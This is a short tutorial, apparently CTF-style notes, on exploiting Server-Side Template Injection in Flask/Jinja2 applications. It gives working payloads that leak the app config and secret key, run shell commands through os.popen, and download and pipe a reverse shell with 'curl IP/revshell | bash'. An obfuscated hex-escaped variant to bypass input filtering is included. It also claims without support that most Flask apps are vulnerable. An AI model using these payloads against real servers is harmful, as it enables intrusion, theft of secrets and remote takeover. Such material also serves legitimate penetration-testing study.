**What is flask:**

Flask is a micro web framework written in Python. It is classified as a microframework because it does not require particular tools or libraries. It has no database abstraction layer, form validation, or any other components where pre-existing third-party libraries provide common functions. However, Flask supports extensions that can add application features as if they were implemented in Flask itself

**What is SSTI:**

Server-Side Template Injection is possible when an attacker injects template directive as user input that can execute arbitrary code on the server. If you happen to view the source of a web page and see below code snippets then it is safe to guess that the application is using some template engine to render data.

**When you have a Flask application 9/10 times is a SSTI exploit.**

**How to execute SSTI —> RCE:**

1. **Test for SSTI:** type {{ 7\* 7 }} in a search/form and if server respond with 49 then SSTI is possible.

Ex:http://IP/no\_filter?payload={{7\*7}}

1. **Get Flask Config:** type {{config}} in a search/form and you should get the current flask configration residient in flask.config like secret key etc.

Ex:http://IP/no\_filter?payload={{config}}

1. **Execute a command(ex: id):** type {{request.application.\_\_globals\_\_.\_\_builtins\_\_.\_\_import\_\_('os').popen('id').read()}} in a search/form and you should get the id result.

Ex:http://IP/no\_filter?payload={{request.application.\_\_globals\_\_.\_\_built ins\_\_.\_\_import\_\_('os').popen('id').read()}}

*In python code this will translate to:*

*import os*

*os.popen('id')*

1. **Upload and run a Shell:** type{{request.application.\_\_globals\_\_.\_\_builtins\_\_.\_\_import\_\_('os').popen('curl IP/revshell | bash').read()}}in a search/form and you should get the ireverse shell uploaded and run in bash..

Ex:http://IP/no\_filter?payload={{request.application.\_\_globals\_\_.\_\_built ins\_\_.\_\_import\_\_('os').popen('curl IP/revshell | bash').read()}}

1. **\*Bypass filtering\*:** if the application filters out some special carachters you can use this guide: [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/README.md#jinja2)

Ex.(follow RCE from step 5): {{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr ("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f \x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen" )("curl IP:PORT/revshell | bash")|attr("read")()}}

**Cheatsheet: https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti**